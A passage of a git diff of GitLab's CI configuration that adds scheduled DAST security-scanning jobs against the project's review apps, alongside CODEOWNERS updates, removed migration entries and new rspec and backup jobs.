-db/schema_migrations/20180329230151
-db/schema_migrations/20180401213713
-db/schema_migrations/20180416112831
-db/schema_migrations/20180416205949
-db/schema_migrations/20180419031622
-db/schema_migrations/20180419171038
-db/schema_migrations/20180423165301
-db/schema_migrations/20180502124117
-db/schema_migrations/20180502125859
-db/schema_migrations/20180503154922
-db/schema_migrations/20180520211048
-db/schema_migrations/20180524115107
-db/schema_migrations/20180531031410
-db/schema_migrations/20180531221734
-db/schema_migrations/20180607154422
-db/schema_migrations/20180607154516
-db/schema_migrations/20180607154645
-db/schema_migrations/20180612175636
-db/schema_migrations/20180615152524
-db/schema_migrations/20180621100024
-db/schema_migrations/20180621100025
-db/schema_migrations/20180623053658
-db/schema_migrations/20180626171125
-db/schema_migrations/20180702114215
-db/schema_migrations/20180702181530
-db/schema_migrations/20180709153607
-db/schema_migrations/20180709183353
-db/schema_migrations/20180709184533
-db/schema_migrations/20180711014025
-db/schema_migrations/20180711014026
-db/schema_migrations/20180718100455
-db/schema_migrations/20180719161844
-db/schema_migrations/20180720082636
-db/schema_migrations/20180720120716
-db/schema_migrations/20180720120726
-db/schema_migrations/20180720121404
-db/schema_migrations/20180723023517
-db/schema_migrations/20180723081631
-db/schema_migrations/20180723134433
-db/schema_migrations/20180724161450
-db/schema_migrations/20180803001726
-db/schema_migrations/20180803041220
-db/schema_migrations/20180806145747
-db/schema_migrations/20180823132905
-db/schema_migrations/20180831134049
-db/schema_migrations/20180831152625
-db/schema_migrations/20180910104020
-db/schema_migrations/20180910105100
-db/schema_migrations/20180912113336
-db/schema_migrations/20180917145556
-db/schema_migrations/20180917171038
-db/schema_migrations/20180917171533
-db/schema_migrations/20180917171534
-db/schema_migrations/20180917171535
-db/schema_migrations/20180917213751
-db/schema_migrations/20180917214204
-db/schema_migrations/20180920043317
-db/schema_migrations/20180924070647
-db/schema_migrations/20180926101838
-db/schema_migrations/20180926140319
-db/schema_migrations/20180930171532
-db/schema_migrations/20181001172126
-db/schema_migrations/20181001172651
-db/schema_migrations/20181004131020
-db/schema_migrations/20181004131025
-db/schema_migrations/20181012151642
-db/schema_migrations/20181017131623
-db/schema_migrations/20181022131445
-db/schema_migrations/20181025000427
-db/schema_migrations/20181025030732
-db/schema_migrations/20181026085436
-db/schema_migrations/20181028092114
-db/schema_migrations/20181028092115
-db/schema_migrations/20181105122803
-db/schema_migrations/20181114163403
-db/schema_migrations/20181121174028
-db/schema_migrations/20181121175359
-db/schema_migrations/20181123090058
-db/schema_migrations/20181123100058
-db/schema_migrations/20181126125616
-db/schema_migrations/20181127130125
-db/schema_migrations/20181127133629
-db/schema_migrations/20181127203117
-db/schema_migrations/20181201151856
-db/schema_migrations/20181203154104
-db/schema_migrations/20181204031328
-db/schema_migrations/20181204031329
-db/schema_migrations/20181204031330
-db/schema_migrations/20181204031331
-db/schema_migrations/20181204135519
-db/schema_migrations/20181204135932
-db/schema_migrations/20181205093951
-db/schema_migrations/20181206121338
-db/schema_migrations/20181220163029
-db/schema_migrations/20181221135205
-db/schema_migrations/20181228140935
-db/schema_migrations/20190110200434
-db/schema_migrations/20190111183834
-db/schema_migrations/20190114040404
-db/schema_migrations/20190114040405
-db/schema_migrations/20190121140418
-db/schema_migrations/20190121140658
-db/schema_migrations/20190122101816
-db/schema_migrations/20190123211816
-db/schema_migrations/20190128104236
-db/schema_migrations/20190128172533
-db/schema_migrations/20190129013538
-db/schema_migrations/20190130164903
-db/schema_migrations/20190218031401
-db/schema_migrations/20190218144405
-db/schema_migrations/20190219134239
-db/schema_migrations/20190219210244
-db/schema_migrations/20190220112238
-db/schema_migrations/20190222105948
-db/schema_migrations/20190222110418
-db/schema_migrations/20190225173106
-db/schema_migrations/20190226154144
-db/schema_migrations/20190228134845
-db/schema_migrations/20190301095211
-db/schema_migrations/20190301182031
-db/schema_migrations/20190302144241
-db/schema_migrations/20190304020812
-db/schema_migrations/20190304223216
-db/schema_migrations/20190304223220
-db/schema_migrations/20190305162221
-db/schema_migrations/20190318020549
-db/schema_migrations/20190318021429
-db/schema_migrations/20190318120957
-db/schema_migrations/20190320162221
-db/schema_migrations/20190321103531
-db/schema_migrations/20190322145954
-db/schema_migrations/20190327085945
-db/schema_migrations/20190328210840
-db/schema_migrations/20190401150745
-db/schema_migrations/20190401150746
-db/schema_migrations/20190402112450
-db/schema_migrations/20180309215236
-db/schema_migrations/20180314172513
-db/schema_migrations/20180417102933
-db/schema_migrations/20180502130136
-db/schema_migrations/20180509091305
-db/schema_migrations/20180605213516
-db/schema_migrations/20180608150653
-db/schema_migrations/20180618193715
-db/schema_migrations/20180713171825
-db/schema_migrations/20180815043102
-db/schema_migrations/20180914195058
-db/schema_migrations/20181014131030
-db/schema_migrations/20181115140251
-db/schema_migrations/20181116100917
-db/schema_migrations/20181204040404
-db/schema_migrations/20181206121340
-db/schema_migrations/20181215161939
-db/schema_migrations/20181220165848
-db/schema_migrations/20190111231855
-# Removed in ef1efa0f650
-db/schema_migrations/20180406204716
-db/schema_migrations/20180521171529
-db/schema_migrations/20180831164904
-# Removed in 28ac2d30498
-db/schema_migrations/20180202111106
-# Removed in b87dcc238a8
-db/schema_migrations/20181218192239
-
-# Removed in various revert commits
-db/schema_migrations/20180115094742
-db/schema_migrations/20180115113902
-db/schema_migrations/20190107151029
-db/schema_migrations/20190114184258
-db/schema_migrations/20190228092516
-db/schema_migrations/20190311132500
-db/schema_migrations/20190311132527
-db/schema_migrations/20190703001116
-db/schema_migrations/20190703001120
-db/schema_migrations/20190724091326
-db/schema_migrations/20190801072937
-db/schema_migrations/20191004134055
-db/schema_migrations/20191029060358
-db/schema_migrations/20191029061556
-db/schema_migrations/20191220102807
-db/schema_migrations/20200123092602
-db/schema_migrations/20200123101859
-db/schema_migrations/20200127111953
-db/schema_migrations/20200127131953
-db/schema_migrations/20200127141953
-db/schema_migrations/20200127151953
-db/schema_migrations/20200206111847
-db/schema_migrations/20200214173000
-db/schema_migrations/20200214174519
-db/schema_migrations/20200214174607
-db/schema_migrations/20200309105539
-db/schema_migrations/20200615203153
diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml
index 0662ce2197e..638613ab43e 100644
--- a/.gitlab-ci.yml
+++ b/.gitlab-ci.yml
@@ -7,6 +7,7 @@ stages:
- post-test
- review-prepare
- review
+ - dast
- qa
- post-qa
- pages
@@ -104,3 +105,4 @@ include:
- local: .gitlab/ci/yaml.gitlab-ci.yml
- local: .gitlab/ci/releases.gitlab-ci.yml
- local: .gitlab/ci/notify.gitlab-ci.yml
+ - local: .gitlab/ci/dast.gitlab-ci.yml
diff --git a/.gitlab/CODEOWNERS b/.gitlab/CODEOWNERS
index 7a5516338e8..b4fd436cc58 100644
--- a/.gitlab/CODEOWNERS
+++ b/.gitlab/CODEOWNERS
@@ -10,13 +10,13 @@
/doc/ @gl-docsteam
/doc/administration/monitoring/ @aqualls
/doc/development/ @marcia @mjang1
-/doc/development/documentation/ @mikelewis
+/doc/development/documentation/ @cnorris
/doc/ci @marcel.amirault @sselhorn
/doc/operations @aqualls @eread
/doc/user/clusters @aqualls
/doc/user/infrastructure @aqualls
/doc/user/project/clusters @aqualls
-/doc/.vale/ @marcel.amirault @eread @aqualls @mikelewis
+/doc/.vale/ @marcel.amirault @eread @aqualls @cnorris
[Docs Create]
/doc/user/project/merge_requests/allow_collaboration.md @marcia
@@ -165,12 +165,15 @@
/.gitlab/ci/ @gl-quality/eng-prod
/.gitlab/ci/docs.gitlab-ci.yml @gl-quality/eng-prod @gl-docsteam
/.gitlab/ci/releases.gitlab-ci.yml @gl-quality/eng-prod @gitlab-org/delivery
+/.gitlab/ci/dast.gitlab-ci.yml @dappelt @ngeorge1 @gl-quality/eng-prod
+/.gitlab/ci/reports.gitlab-ci.yml @gitlab-com/gl-security/appsec @gl-quality/eng-prod
/.gitlab/CODEOWNERS @gl-quality/eng-prod
Dangerfile @gl-quality/eng-prod
/danger/ @gl-quality/eng-prod
/lib/gitlab/danger/ @gl-quality/eng-prod
/scripts/ @gl-quality/eng-prod
/scripts/frontend/ @gl-quality/eng-prod @gitlab-org/maintainers/frontend
+/scripts/review_apps/seed-dast-test-data.sh @dappelt @ngeorge1 @gl-quality/eng-prod
.editorconfig @gl-quality/eng-prod
[End-to-end]
@@ -192,9 +195,11 @@ Dangerfile @gl-quality/eng-prod
# Secure & Threat Management ownership delineation
# https://about.gitlab.com/handbook/engineering/development/threat-management/delineate-secure-threat-management.html#technical-boundaries
[Secure]
-/ee/app/models/vulnerability.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/app/finders/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/models/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/models/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
+/ee/app/models/vulnerability.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/lib/api/vulnerabilit*.rb @gitlab-org/secure/threat-insights-backend-team
/ee/lib/gitlab/ci/parsers/license_compliance/ @gitlab-org/secure/composition-analysis-be
/ee/lib/gitlab/ci/parsers/security/ @gitlab-org/secure/composition-analysis-be @gitlab-org/secure/dynamic-analysis-be @gitlab-org/secure/static-analysis-be @gitlab-org/secure/fuzzing-be
/ee/lib/gitlab/ci/reports/coverage_fuzzing/ @gitlab-org/secure/fuzzing-be
diff --git a/.gitlab/ci/dast.gitlab-ci.yml b/.gitlab/ci/dast.gitlab-ci.yml
new file mode 100644
index 00000000000..93f64930822
--- /dev/null
+++ b/.gitlab/ci/dast.gitlab-ci.yml
@@ -0,0 +1,203 @@
+.dast_conf:
+ tags:
+ - prm
+ # For scheduling dast job
+ extends:
+ - .reports:schedule-dast
+ image:
+ name: "registry.gitlab.com/gitlab-org/security-products/dast:$DAST_VERSION"
+ resource_group: dast_scan
+ variables:
+ DAST_USERNAME_FIELD: "user[login]"
+ DAST_PASSWORD_FIELD: "user[password]"
+ DAST_FULL_SCAN_ENABLED: "true"
+ DAST_SPIDER_MINS: 0
+ # TBD pin to a version
+ DAST_VERSION: 1.22.1
+ # -Xmx is used to set the JVM memory to 6GB to prevent DAST OutOfMemoryError.
+ DAST_ZAP_CLI_OPTIONS: "-Xmx6144m"
+ DAST_RULES: "41,42,43,10027,10032,10041,10042,10045,10047,10052,10053,10057,10061,10096,10097,10104,10106,20012,20014,20015,20016,20017,20018,40019,40020,40021,40024,40025,40027,40029,40032,90001,90019,10109,10026,10028,10029,10030,10031,10033,10034,10035,10036,10038,10039,10043,10044,10048,10050,10051,10058,10062,10095,10107,10108,30003,40013,40022,40023,40028,90021,90023,90024,90025,90027,90028,10003,50003,0,2,3,6,7,10010,10011,10015,10017,10019,10020,10021,10023,10024,10025,10037,10040,10054,10055,10056,10098,10105,10202,20019,30001,30002,40003,40008,40009,40012,40014,40016,40017,40018,50000,50001,90011,90020,90022,90033"
+ before_script:
+ - 'export DAST_WEBSITE="${DAST_WEBSITE:-$(cat environment_url.txt)}"'
+ - 'export DAST_AUTH_URL="${DAST_WEBSITE}/users/sign_in"'
+ - 'export DAST_PASSWORD="${REVIEW_APPS_ROOT_PASSWORD}"'
+ # Below three lines can be removed once https://gitlab.com/gitlab-org/gitlab/-/issues/230687 is fixed
+ - mkdir -p /zap/xml
+ - 'sed -i "84 s/true/false/" /zap/xml/config.xml'
+ - cat /zap/xml/config.xml
+ # Help pages are excluded from scan as they are static pages.
+ # profile/two_factor_auth is excluded from scan to prevent 2FA from being turned on from user profile, which will reduce coverage.
+ - 'export DAST_AUTH_EXCLUDE_URLS="${DAST_WEBSITE}/help/.*,${DAST_WEBSITE}/profile/two_factor_auth,${DAST_WEBSITE}/users/sign_out"'
+ - enable_rule () { read all_rules; rule=$1; echo $all_rules | sed -r "s/(,)?$rule(,)?/\1-1\2/" ; }
+ # Sort ids in DAST_RULES ascendingly, which is required when using DAST_RULES as argument to enable_rule
+ - 'DAST_RULES=$(echo $DAST_RULES | tr "," "\n" | sort -n | paste -sd ",")'
+ needs: ["review-deploy"]
+ stage: dast
+ # Default job timeout set to 90m and dast rules needs 2h to so that it won't timeout.
+ timeout: 2h
+ # Add retry because of intermittent connection problems. See https://gitlab.com/gitlab-org/gitlab/-/issues/244313
+ retry: 1
+ artifacts:
+ paths:
+ - gl-dast-report.json # GitLab-specific
+ reports:
+ dast: gl-dast-report.json
+ expire_in: 1 week # GitLab-specific
+
+# DAST scan with a subset of Release scan rules.
+DAST-fullscan-ruleset1:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user1"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 10019 | enable_rule 10020 | enable_rule 10021 | enable_rule 10023 | enable_rule 10024 | enable_rule 10025 | enable_rule 10037 | enable_rule 10040 | enable_rule 10054 | enable_rule 10055 | enable_rule 10056)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with a subset of Release scan rules.
+DAST-fullscan-ruleset2:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user2"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 90011 | enable_rule 90020 | enable_rule 90022 | enable_rule 90033)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with a subset of Release scan rules.
+DAST-fullscan-ruleset3:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user3"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 40016 | enable_rule 40017 | enable_rule 50000 | enable_rule 50001)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with a subset of Release scan rules.
+DAST-fullscan-ruleset4:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user4"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 0 | enable_rule 2 | enable_rule 3 | enable_rule 7 )
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with a subset of Release scan rules.
+DAST-fullscan-ruleset5:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user5"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 10010 | enable_rule 10011 | enable_rule 10015 | enable_rule 10017 | enable_rule 10019)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with a subset of Release scan rules.
+DAST-fullscan-ruleset6:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user6"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 30001 | enable_rule 40009)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# Enable when https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39749 is fixed
+# DAST scan with a subset of Beta scan rules.
+# DAST-fullscan-ruleset7:
+# extends:
+# - .dast_conf
+# variables:
+# DAST_USERNAME: "user7"
+# script:
+# - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 10098 | enable_rule 10105 | enable_rule 10202 | enable_rule 30002 | enable_rule 40003 | enable_rule 40008 | enable_rule 40009)
+# - echo $DAST_EXCLUDE_RULES
+# - /analyze -t $DAST_WEBSITE -d
+
+# Enable when https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39749 is fixed
+# Below jobs runs DAST scans with one time consuming scan rule. These scan rules are disabled in above jobs so that those jobs won't timeout.
+# DAST scan with rule - 20019 External Redirect
+# DAST-fullscan-rule-20019:
+# extends:
+# - .dast_conf
+# variables:
+# DAST_USERNAME: "user8"
+# script:
+# - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 20019)
+# - echo $DAST_EXCLUDE_RULES
+# - /analyze -t $DAST_WEBSITE -d
+
+# Enable when https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39749 is fixed
+# DAST scan with rule - 10107 Httpoxy - Proxy Header Misuse - Active/beta
+# DAST-fullscan-rule-10107:
+# extends:
+# - .dast_conf
+# variables:
+# DAST_USERNAME: "user9"
+# script:
+# - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 10107)
+# - echo $DAST_EXCLUDE_RULES
+# - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with rule - 90020 Remote OS Command Injection
+DAST-fullscan-rule-90020:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user10"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 90020)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with rule - 40018 SQL Injection - Active/release
+DAST-fullscan-rule-40018:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user11"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 40018)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with rule - 40014 Cross Site Scripting (Persistent) - Active/release
+DAST-fullscan-rule-40014:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user12"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 40014)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with rule - 6 Path travesal
+DAST-fullscan-rule-6:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user13"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 6)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
+
+# DAST scan with rule - 40012 Cross Site Scripting (Reflected)
+DAST-fullscan-rule-40012:
+ extends:
+ - .dast_conf
+ variables:
+ DAST_USERNAME: "user14"
+ script:
+ - export DAST_EXCLUDE_RULES=$(echo $DAST_RULES | enable_rule 40012)
+ - echo $DAST_EXCLUDE_RULES
+ - /analyze -t $DAST_WEBSITE -d
diff --git a/.gitlab/ci/docs.gitlab-ci.yml b/.gitlab/ci/docs.gitlab-ci.yml
index 62546e59368..0e0e156a64f 100644
--- a/.gitlab/ci/docs.gitlab-ci.yml
+++ b/.gitlab/ci/docs.gitlab-ci.yml
@@ -42,7 +42,7 @@ docs lint:
extends:
- .default-retry
- .docs:rules:docs-lint
- image: "registry.gitlab.com/gitlab-org/gitlab-docs:lint"
+ image: "registry.gitlab.com/gitlab-org/gitlab-docs/lint:vale-2.3.4-markdownlint-0.23.2"
stage: test
needs: []
script:
diff --git a/.gitlab/ci/notify.gitlab-ci.yml b/.gitlab/ci/notify.gitlab-ci.yml
index fcdd5ee97d2..6dcf19da942 100644
--- a/.gitlab/ci/notify.gitlab-ci.yml
+++ b/.gitlab/ci/notify.gitlab-ci.yml
@@ -10,7 +10,7 @@ notify-update-gitaly:
extends:
- .notify-slack
rules:
- - if: '$CI_MERGE_REQUEST_IID && $CI_COMMIT_BRANCH == $GITALY_UPDATE_BRANCH'
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME == $GITALY_UPDATE_BRANCH'
when: on_failure
allow_failure: true
variables:
diff --git a/.gitlab/ci/rails.gitlab-ci.yml b/.gitlab/ci/rails.gitlab-ci.yml
index 0b54626f690..165476678bb 100644
--- a/.gitlab/ci/rails.gitlab-ci.yml
+++ b/.gitlab/ci/rails.gitlab-ci.yml
@@ -296,6 +296,21 @@ gitlab:setup:
paths:
- log/*.log
+db:backup_and_restore:
+ extends: .db-job-base
+ variables:
+ SETUP_DB: "false"
+ GITLAB_ASSUME_YES: "1"
+ script:
+ - . scripts/prepare_build.sh
+ - bundle exec rake db:drop db:create db:structure:load db:seed_fu
+ - mkdir -p tmp/tests/public/uploads tmp/tests/{artifacts,pages,lfs-objects,registry}
+ - bundle exec rake gitlab:backup:create
+ - date
+ - bundle exec rake gitlab:backup:restore
+ rules:
+ - changes: ["lib/backup/**/*"]
+
rspec:coverage:
extends:
- .rails-job-base
@@ -490,21 +505,50 @@ rspec-ee system pg12 geo:
##################################################
# EE: Canonical MR pipelines
+rspec fail-fast:
+ extends:
+ - .rspec-ee-base-pg11 # This job also runs EE spec which needs elasticsearch
+ - .rails:rules:rspec fail-fast
+ stage: test
+ needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets", "detect-tests"]
+ script:
+ - run_timed_command "scripts/gitaly-test-build"
+ - run_timed_command "scripts/gitaly-test-spawn"
+ - source scripts/rspec_helpers.sh
+ - rspec_fail_fast tmp/matching_tests.txt "--tag ~quarantine"
+ artifacts:
+ expire_in: 7d
+ paths:
+ - tmp/capybara/
+
rspec foss-impact:
extends:
- .rspec-base-pg11-as-if-foss
- - .rails:rules:ee-mr-only
+ - .rails:rules:rspec-foss-impact
+ needs: ["setup-test-env", "retrieve-tests-metadata", "compile-test-assets as-if-foss", "detect-tests as-if-foss"]
script:
- - install_gitlab_gem
- run_timed_command "scripts/gitaly-test-build"
- run_timed_command "scripts/gitaly-test-spawn"
- source scripts/rspec_helpers.sh
- - tooling/bin/find_foss_tests tmp/matching_foss_tests.txt
- - rspec_matched_tests tmp/matching_foss_tests.txt "--tag ~quarantine"
+ - rspec_matched_foss_tests tmp/matching_foss_tests.txt "--tag ~quarantine"
artifacts:
expire_in: 7d
paths:
- - tmp/matching_foss_tests.txt
- tmp/capybara/
+
+fail-pipeline-early:
+ extends:
+ - .rails:rules:fail-pipeline-early
+ stage: post-test
+ needs:
+ - job: rspec fail-fast
+ artifacts: false
+ variables:
+ GIT_DEPTH: 1
+ before_script:
+ - source scripts/utils.sh
+ - install_api_client_dependencies_with_apt
+ script:
+ - fail_pipeline_early
# EE: Canonical MR pipelines
##################################################
diff --git a/.gitlab/ci/reports.gitlab-ci.yml b/.gitlab/ci/reports.gitlab-ci.yml
index b9f81f2eb0f..0e2f12789db 100644
--- a/.gitlab/ci/reports.gitlab-ci.yml
+++ b/.gitlab/ci/reports.gitlab-ci.yml
@@ -81,7 +81,13 @@ nodejs-scan-sast:
secrets-sast:
extends: .sast
image:
- name: "$SAST_ANALYZER_IMAGE_PREFIX/secrets:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE_PREFIX/secrets:3"
+ artifacts:
+ paths:
+ - gl-secret-detection-report.json # GitLab-specific
+ reports:
+ sast: gl-secret-detection-report.json
+ expire_in: 1 week # GitLab-specific
# We need to duplicate this job's definition because it seems it's impossible to
# override an included `only.refs`.
@@ -145,45 +151,3 @@ dependency_scanning:
reports:
dependency_scanning: gl-dependency-scanning-report.json
expire_in: 1 week # GitLab-specific
-
-# Temporarily disabling review apps
-## We need to duplicate this job's definition because it seems it's impossible to
-## override an included `only.refs`.
-## See https://gitlab.com/gitlab-org/gitlab/issues/31371.
-# dast:
-# extends:
-# - .default-retry
-# - .reports:rules:dast
-# # This is needed so that manual jobs with needs don't block the pipeline.
-# # See https://gitlab.com/gitlab-org/gitlab/-/issues/199979.
-# dependencies: ["review-deploy"]
-# stage: qa # GitLab-specific
-# image:
-# name: "registry.gitlab.com/gitlab-org/security-products/dast:$DAST_VERSION"
-# variables:
-# # To be done in a later iteration
-# # DAST_USERNAME: "root"
-# # DAST_USERNAME_FIELD: "user[login]"
-# # DAST_PASSWORD_FIELD: "user[passowrd]"
-# DAST_VERSION: 1
-# script:
-# - 'export DAST_WEBSITE="${DAST_WEBSITE:-$(cat environment_url.txt)}"'
-# # To be done in a later iteration
-# # - 'export DAST_AUTH_URL="${DAST_WEBSITE}/users/sign_in"'
-# # - 'export DAST_PASSWORD="${REVIEW_APPS_ROOT_PASSWORD}"'
-# - /analyze -t $DAST_WEBSITE
-# timeout: 4h
-# artifacts:
-# paths:
-# - gl-dast-report.json # GitLab-specific
-# reports:
-# dast: gl-dast-report.json
-# expire_in: 1 week # GitLab-specific
-
-# To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
-# schedule:dast:
-# extends:
-# - dast
-# - .reports:schedule-dast
-# variables:
-# DAST_FULL_SCAN_ENABLED: "true"
diff --git a/.gitlab/ci/review.gitlab-ci.yml b/.gitlab/ci/review.gitlab-ci.yml
index 4e3a80372a6..d34687cfdad 100644
--- a/.gitlab/ci/review.gitlab-ci.yml
+++ b/.gitlab/ci/review.gitlab-ci.yml
@@ -43,9 +43,9 @@ review-build-cng:
HOST_SUFFIX: "${CI_ENVIRONMENT_SLUG}"
REVIEW_APPS_DOMAIN: "temp.gitlab-review.app" # FIXME: using temporary domain
DOMAIN: "-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN}"
- GITLAB_HELM_CHART_REF: "v4.1.3"
+ GITLAB_HELM_CHART_REF: "v4.3.0"
environment:
- name: review/${CI_COMMIT_REF_NAME}
+ name: review/${CI_COMMIT_REF_SLUG}${FREQUENCY}
url: https://gitlab-${CI_ENVIRONMENT_SLUG}.${REVIEW_APPS_DOMAIN}
on_stop: review-stop
auto_stop_in: 48 hours
@@ -53,7 +53,7 @@ review-build-cng:
review-deploy:
extends:
- .review-workflow-base
- - .review:rules:mr-and-schedule-auto-if-frontend-manual-otherwise
+ - .review:rules:review-deploy
stage: review
dependencies: []
resource_group: "review/${CI_COMMIT_REF_NAME}"
@@ -77,6 +77,11 @@ review-deploy:
# to have to manually start the jobs in sequence, so we do it for them.
- '[ -z $CI_JOB_MANUAL ] || play_job "review-qa-smoke"'
- '[ -z $CI_JOB_MANUAL ] || play_job "review-performance"'
+ after_script:
+ # Run seed-dast-test-data.sh only when DAST_RUN is set to true. This is to pupulate review app with data for DAST scan.
+ # Set DAST_RUN to true when jobs are manually scheduled.
+ - if [ "$DAST_RUN" == "true" ]; then source scripts/review_apps/seed-dast-test-data.sh; TRACE=1 trigger_proj_user_creation; fi
+
artifacts:
paths: [environment_url.txt]
expire_in: 2 days
@@ -108,8 +113,8 @@ review-stop-failed-deployment:
review-stop:
extends:
- .review-stop-base
- - .review:rules:mr-only-manual
- stage: review
+ - .review:rules:review-stop
+ stage: post-qa
script:
- delete_release
@@ -167,7 +172,7 @@ review-qa-all:
review-performance:
extends:
- .default-retry
- - .review:rules:mr-and-schedule-auto-if-frontend-manual-otherwise
+ - .review:rules:review-performance
image:
name: sitespeedio/sitespeed.io:6.3.1
entrypoint: [""]
diff --git a/.gitlab/ci/rules.gitlab-ci.yml b/.gitlab/ci/rules.gitlab-ci.yml
index 839a06862b2..a8e0e1ccaaa 100644
--- a/.gitlab/ci/rules.gitlab-ci.yml
+++ b/.gitlab/ci/rules.gitlab-ci.yml
@@ -67,6 +67,12 @@
.if-cache-credentials-schedule: &if-cache-credentials-schedule
if: '$CI_REPO_CACHE_CREDENTIALS && $CI_PIPELINE_SOURCE == "schedule"'
+.if-rspec-fail-fast-disabled: &if-rspec-fail-fast-disabled
+ if: '$RSPEC_FAIL_FAST_ENABLED != "true"'
+
+.if-rspec-fail-fast-skipped: &if-rspec-fail-fast-skipped
+ if: '$CI_MERGE_REQUEST_TITLE =~ /SKIP RSPEC FAIL-FAST/'
+
####################
# Changes patterns #
####################
@@ -83,6 +89,7 @@
- ".gitlab/ci/frontend.gitlab-ci.yml"
- ".gitlab/ci/build-images.gitlab-ci.yml"
- ".gitlab/ci/review.gitlab-ci.yml"
+ - "scripts/trigger-build"
.ci-qa-patterns: &ci-qa-patterns
- ".gitlab-ci.yml"
@@ -121,11 +128,13 @@
- "{,ee/}spec/**/*.rb"
- ".gitlab-ci.yml"
- ".gitlab/ci/**/*"
+ - "*_VERSION"
.db-patterns: &db-patterns
- "{,ee/}{,spec/}{db,migrations}/**/*"
- "{,ee/}{,spec/}lib/{,ee/}gitlab/background_migration/**/*"
- "config/prometheus/common_metrics.yml" # Used by Gitlab::DatabaseImporters::CommonMetrics::Importer
+ - "{,ee/}app/models/project_statistics.rb" # Used to calculate sizes in migration specs
.backstage-patterns: &backstage-patterns
- "Dangerfile"
@@ -147,6 +156,7 @@
- "*_VERSION"
- "Gemfile{,.lock}"
- "Rakefile"
+ - "tests.yml"
- "config.ru"
- "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
@@ -168,6 +178,7 @@
- "*_VERSION"
- "Gemfile{,.lock}"
- "Rakefile"
+ - "tests.yml"
- "config.ru"
- "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
@@ -191,6 +202,7 @@
- "*_VERSION"
- "Gemfile{,.lock}"
- "Rakefile"
+ - "tests.yml"
- "config.ru"
- "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
@@ -211,6 +223,7 @@
- "*_VERSION"
- "Gemfile{,.lock}"
- "Rakefile"
+ - "tests.yml"
- "config.ru"
- "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
@@ -506,6 +519,7 @@
- <<: *if-security-merge-request
changes: *db-patterns
- <<: *if-merge-request-title-as-if-foss
+ changes: *db-patterns
- <<: *if-merge-request
changes: *ci-patterns
@@ -516,6 +530,7 @@
- <<: *if-security-merge-request
changes: *backend-patterns
- <<: *if-merge-request-title-as-if-foss
+ changes: *backend-patterns
- <<: *if-merge-request
changes: *ci-patterns
@@ -526,6 +541,7 @@
- <<: *if-security-merge-request
changes: *backend-patterns
